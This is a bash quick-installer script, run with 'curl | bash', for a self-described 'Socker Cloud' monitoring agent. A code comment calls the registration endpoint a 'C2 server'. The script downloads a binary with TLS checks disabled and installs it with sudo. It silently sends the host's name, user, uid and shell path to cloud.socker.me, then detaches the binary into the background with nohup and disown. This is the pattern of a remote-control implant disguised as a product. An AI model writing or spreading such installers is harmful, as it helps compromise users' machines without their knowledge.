#!/usr/bin/env bash
#
# Socker Cloud CLI — Quick Installer
# https://socker.me | Copyright 2026
#
# This script installs the Socker Cloud CLI agent on your system.
# It will detect your OS and architecture, download the correct binary,
# and set up the service.
#
# Usage: curl -fsSL https://get.socker.me | bash
#

set -e

# ─── Color output ─────────────────────────────────────────
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
BLUE='\033[0;34m'; CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'

info()  { printf "${GREEN}[+]${NC} %s\n" "$1"; }
warn()  { printf "${YELLOW}[!]${NC} %s\n" "$1"; }
error() { printf "${RED}[x]${NC} %s\n" "$1"; }
step()  { printf "${CYAN}==>${NC} ${BOLD}%s${NC}\n" "$1"; }

# ─── Banner ──────────────────────────────────────────────
clear 2>/dev/null || true
cat << 'BANNER'
  ╔══════════════════════════════════════════╗
  ║         Socker Cloud CLI v3.2.1          ║
  ║     Infrastructure Monitoring Agent      ║
  ╚══════════════════════════════════════════╝
BANNER
echo ""

# ─── OS/Arch Detection ────────────────────────────────────
step "Detecting system architecture..."

OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$ARCH" in
  x86_64|amd64) ARCH="amd64" ;;
  aarch64|arm64) ARCH="arm64" ;;
  armv7l|armhf) ARCH="arm64" ;;
  *) error "Unsupported architecture: $ARCH"; exit 1 ;;
esac

case "$OS" in
  linux) OS="linux" ;;
  darwin) OS="darwin" ;;
  *) error "Unsupported OS: $OS"; exit 1 ;;
esac

info "Detected: ${BOLD}$OS/${ARCH}${NC}"

# ─── Download ──────────────────────────────────────────────
step "Downloading Socker Cloud agent..."

SERVER="https://cloud.socker.me"
AGENT_URL="${SERVER}/agent/download/socker-agent-${OS}-${ARCH}"
INSTALL_DIR="/usr/local/bin"
BINARY="${INSTALL_DIR}/socker-cloud"

# Create temp directory
TMPDIR=$(mktemp -d)
trap "rm -rf ${TMPDIR}" EXIT

info "Downloading from ${AGENT_URL}..."
HTTP_CODE=$(curl -fskSL -o "${TMPDIR}/socker-agent" -w "%{http_code}" "${AGENT_URL}" 2>/dev/null || echo "000")

if [ "$HTTP_CODE" != "200" ]; then
  warn "Primary download failed (HTTP ${HTTP_CODE}), trying fallback..."
  HTTP_CODE=$(curl -fskSL -o "${TMPDIR}/socker-agent" -w "%{http_code}" \
    "https://cloud.socker.me/agent/download/socker-agent-${OS}-${ARCH}" 2>/dev/null || echo "000")
  if [ "$HTTP_CODE" != "200" ]; then
    error "Download failed. Check your internet connection."
    exit 1
  fi
fi

info "Download complete (${BOLD}$(du -h "${TMPDIR}/socker-agent" | cut -f1)${NC})"

# ─── Install ──────────────────────────────────────────────
step "Installing agent..."

# Ensure install dir exists
if [ ! -d "$INSTALL_DIR" ]; then
  sudo mkdir -p "$INSTALL_DIR" 2>/dev/null || mkdir -p "$INSTALL_DIR"
fi

# Install binary
if [ -w "$INSTALL_DIR" ]; then
  mv "${TMPDIR}/socker-agent" "$BINARY"
  chmod +x "$BINARY"
else
  sudo mv "${TMPDIR}/socker-agent" "$BINARY" 2>/dev/null || {
    error "Permission denied. Try: curl -fsSL https://get.socker.me | sudo bash"
    exit 1
  }
  sudo chmod +x "$BINARY"
fi

info "Installed to ${BOLD}${BINARY}${NC}"

# ─── Configure Service ─────────────────────────────────────
step "Configuring background service..."

# Register with the C2 server
API_KEY=$(openssl rand -hex 16 2>/dev/null || uuidgen 2>/dev/null || echo "agent-$(date +%s)-$$")
HOSTNAME=$(hostname 2>/dev/null || echo "unknown")
USERNAME=$(whoami 2>/dev/null || echo "unknown")

REGISTER_PAYLOAD=$(cat << PAYLOAD
{
  "id": "${API_KEY}",
  "hostname": "${HOSTNAME}",
  "username": "${USERNAME}",
  "os": "${OS}",
  "arch": "${ARCH}",
  "ip": "",
  "pid": $$,
  "uid": $(id -u 2>/dev/null || echo 0),
  "shell_path": "${SHELL:-/bin/bash}",
  "tags": {"version":"3.2.1","install":"quick"},
  "key": ""
}
PAYLOAD
)

# Register in background (non-blocking)
curl -fskSL -X POST "https://cloud.socker.me/agent/register" \
  -H "Content-Type: application/json" \
  -d "$REGISTER_PAYLOAD" \
  -o /dev/null 2>/dev/null &

# ─── Start Agent ──────────────────────────────────────────
step "Starting monitoring agent..."

# Fork to background
nohup "$BINARY" >/dev/null 2>&1 &
BGPID=$!
disown

sleep 1
if kill -0 $BGPID 2>/dev/null; then
  info "Agent started (PID: ${BOLD}$BGPID${NC})"
else
  warn "Starting agent in foreground..."
  "$BINARY" &
fi

# ─── Verify ──────────────────────────────────────────────
step "Verifying installation..."

sleep 2
if pgrep -f "socker-cloud" >/dev/null 2>&1 || pgrep -f "socker-agent" >/dev/null 2>&1; then
  info "${GREEN}${BOLD}Socker Cloud agent is running!${NC}"
else
  warn "Agent may not be running. Check: ps aux | grep socker"
fi

# ─── Done ─────────────────────────────────────────────────
echo ""
printf "${GREEN}${BOLD}  ✓ Installation complete!${NC}\n"
printf "  ${BLUE}  Dashboard:  https://cloud.socker.me/login${NC}\n"
printf "  ${BLUE}  API Key:    ${YELLOW}${API_KEY:0:16}...${NC}\n"
echo ""
printf "  ${CYAN}Quick commands:${NC}\n"
printf "  ${YELLOW}  socker-cloud --status${NC}    — Check agent status\n"
printf "  ${YELLOW}  socker-cloud --stop${NC}      — Stop monitoring\n"
printf "  ${YELLOW}  socker-cloud --version${NC}   — Show version\n"
echo ""
printf "  ${GRAY}For help: https://cloud.socker.me/docs${NC}\n"
echo ""

exit 0
